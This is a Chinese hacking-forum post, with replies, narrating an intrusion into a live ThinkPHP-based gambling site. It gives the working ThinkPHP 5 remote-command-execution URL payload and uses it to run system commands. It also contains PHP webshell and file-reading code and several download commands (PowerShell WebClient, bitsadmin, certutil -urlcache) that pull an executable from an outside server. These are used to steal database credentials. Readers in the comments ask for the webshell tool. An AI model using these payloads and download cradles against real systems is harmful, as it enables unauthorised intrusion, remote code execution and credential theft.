用户
搜索
  • TA的每日心情

    2018-3-2 07:59
  • 签到天数: 8 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    30

    主题

    291

    帖子

    3862

    魔法币
    收听
    0
    粉丝
    103
    注册时间
    2017-4-15

    i春秋认证春秋文阁i春秋签约作者

    发表于 2018-12-26 13:32:45 40228680
    本帖最后由 jasonx 于 2019-1-9 12:38 编辑

    前言

    无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?
    然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。

    0x00 一键getshell?

    简单看了下,应该有不少人玩吧?

    正好前几天写了个测试工具,先掏出来测试一发。

    工具显示存在漏洞

    一键getshell,看起来很顺利的样子,哈哈。

    但是...小明甩了下头发,发现事情并不简单。

    菜刀连接的时候,返回500错误。

    我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?
    作为菜逼的我不禁陷入了沉思...

    0x01 开始分析

    因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。

    poc如下
    /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

    我们在poc后面输入whoami看看权限。

    /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    iis权限
    但是可以执行部分命令,比如echo dir等等。

    0x02 尝试突破拿shell

    既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。

    注意:代码中的<>符号,要用^^转义。比如<?php转义为^<^?php

    <?php 
    header("content-Type: text/html; charset=gb2312"); 
    if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); 
    ?> 
    <form method="POST"> 
    保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>"> 
    <br><br> 
    <textarea name="text" COLS="70" ROWS="18" ></textarea> 
    <br><br> 
    <input type="submit" name="submit" value="保存"> 
    <form> 
    <?php 
    if(isset($_POST['file'])) 
    { 
    $fp = @fopen($_POST['file'],'wb'); 
    echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!'; 
    @fclose($fp); 
    } 
    ?> 

    逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。

    接下来尝试用以下方法下载文件到服务器上也失败了。

    powershell下载
    注意:内核5.2以下版本可能无效
    powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\ssss2.exe')
    
    bitsadmin下载
    bitsadmin /transfer n http://baidu.com/PSTools.zip  C:\PSTools.zip
    
    注意:不支持https、ftp协议,使用kali的simplehttpserver作服务器会报错

    正当我打算放弃的时候,我想起来还有个下载的命令没用。
    那就是certutil.exe
    说干就干,把大马放到我们服务器上,开启HFS。
    然后执行以下命令。

    certutil.exe  -split -ur"lc"ache -f  http://ww.baidu.com/svchost.exe  svchost.exe

    成功进入大马,不过别高兴太早。

    小明再次甩了下头发,发现事情更不简单....

    大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。

    既然这样,那么我们进数据库看看吧。
    我们都知道tp的数据库配置文件在以下这个位置

    /application/database.php

    大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。

    /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\www\application\database.php

    尝试type读取失败,然后又想到copy命令。
    把database.php拷贝到web根目录下,改名为1.txt

    /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copy c:\www\application\database.php c:\www\public\1.txt

    拷贝完成以后访问url/1.txt,发现里面是空的。

    0x03 成功突破

    经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。

    <?php
    $file_path = 'c:/www/application/database.php';
    if(file_exists($file_path)){
    $fp = fopen($file_path,'r');
    $str = fread($fp,filesize($file_path));
    echo $str = str_replace('\r\n','<br />',$str);
    }
    ?>

    用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。

    然后填写好配置信息,进入数据库。

    此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉......

    后记

    本文纯属虚构,如有雷同,拒绝查水表。

    tp5测试工具我更新了下,添加了3个getshell方法。
    回复即可下载。

    免责声明:工具只能用于测试漏洞,禁止用于非法用途,否则一切后果自负。

    为避免工具被恶意使用,非法入侵,现已取消下载。





    评分

    参与人数 4积分 +85 魔法币 +35 收起 理由
    初来乍到01 + 80 + 20 感谢发布原创作品,i春秋论坛因你更精彩!.
    春秋M4 + 5 666
    Crazyman_Army + 5
    zzconfig + 10 就你最帅

    查看全部评分

    本帖最后由 老子登场 于 2018-12-28 18:31 编辑

    没看明白这两处命令 表哥

    没看明白这两处命令 表哥
    @jasonx  请问表哥 就是这两处命令 后面怎么不一样呢 怎么变成log.php了?还有就是不知表哥可否分享下你用的大马工具 之前在你的《一个XSS漏洞到内网漫游》这篇文章送的表哥多年用的渗透工具包 我没找到大马工具 我太菜了 连表哥用的大马工具都找不出来是哪个 可否指点下 表哥
    使用道具 举报 回复
    jasonx 发表于 2018-12-29 07:37
    命令只是个用法而已,改下后辍名就行了。

    抱歉再打扰下 表哥 你还没看我第二个问题呢 就是表哥你所用的大马工具在你的渗透工具包哪里呢 可否说明下 作为菜鸡的我找了半天没找到 我用的是表哥你在《一个XSS漏洞到内网漫游》这篇文章你送的工具包
    使用道具 举报 回复
    icq0100fc34 i春秋-脚本小子 顾某人生前也是一位体面人
    推荐
    发表于 2019-1-9 09:43:58

    抱歉再打扰下 表哥 你还没看我第二个问题呢 就是表哥你所用的大马工具在你的渗透工具包哪里呢 可否说明下 作为菜鸡的我找了半天没找到 我用的是表哥你在《一个XSS漏洞到内网漫游》这篇文章你送的工具包
    比你优秀的人都在努力,你努力有什么用?
    使用道具 举报 回复
    抱歉再打扰下 表哥 你还没看我第二个问题呢 就是表哥你所用的大马工具在你的渗透工具包哪里呢 可否说明下 作为菜鸡的我找了半天没找到 我用的是表哥你在《一个XSS漏洞到内网漫游》这篇文章你送的工具包
    使用道具 举报 回复
    老哥是这样的你certutil 用法上我有点疑惑。就是-split -ur"lc"ache -f 我查到了-split 和-f但是我还是不太明白。其中的-ur......我就没有查到。具体目的我知道但使用方法我有点,晕。可以跟我说说么。抱拳了。
    使用道具 举报 回复
    发表于 2018-12-29 07:37:12
    老子登场 发表于 2018-12-28 18:26
    @jasonx  请问表哥 就是这两处命令 后面怎么不一样呢 怎么变成log.php了?还有就是不知表哥可否分享下你用 ...

    命令只是个用法而已,改下后辍名就行了。
    使用道具 举报 回复
    学习一下                                       
    使用道具 举报 回复
    jasonx 发表于 2018-12-31 12:32
    工具包停止下载了。

    我提前收藏了 表哥 你一直没理解我意思 我就想问下这是什么大马工具啊 我之前在你分享的工具包里没找到这种大马工具
    使用道具 举报 回复
    佩服佩服,学习学习
    使用道具 举报 回复
    发表于 2018-12-26 13:43:15
    66666666666
    使用道具 举报 回复
    发表于 2018-12-26 13:43:25
    大佬666沙发发
    使用道具 举报 回复
    发表于 2018-12-26 13:45:41
    此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉......

    使用道具 举报 回复
    感谢大神带来的精彩文章
    一位热衷于分享,积极向上的小白
    使用道具 举报 回复
    可以老哥hen6哦
    使用道具 举报 回复
    发表于 2018-12-26 13:53:32
    学习了学习了
    使用道具 举报 回复
    发表于 2018-12-26 13:54:23
    大佬牛批,学习了
    使用道具 举报 回复
    发表于 2018-12-26 13:57:38
    wa 厉害了
    使用道具 举报 回复
    发表于 2018-12-26 13:59:23
    66666666666666
    使用道具 举报 回复
    感谢大神分享
    使用道具 举报 回复
    发表于 2018-12-26 14:01:05
    看看软件咋样,谢谢老铁
    使用道具 举报 回复
    发表于 2018-12-26 14:02:42
    使用道具 举报 回复
    发表于 2018-12-26 14:03:10
    使用道具 举报 回复
    您需要登录后才可以回帖 登录 | 立即注册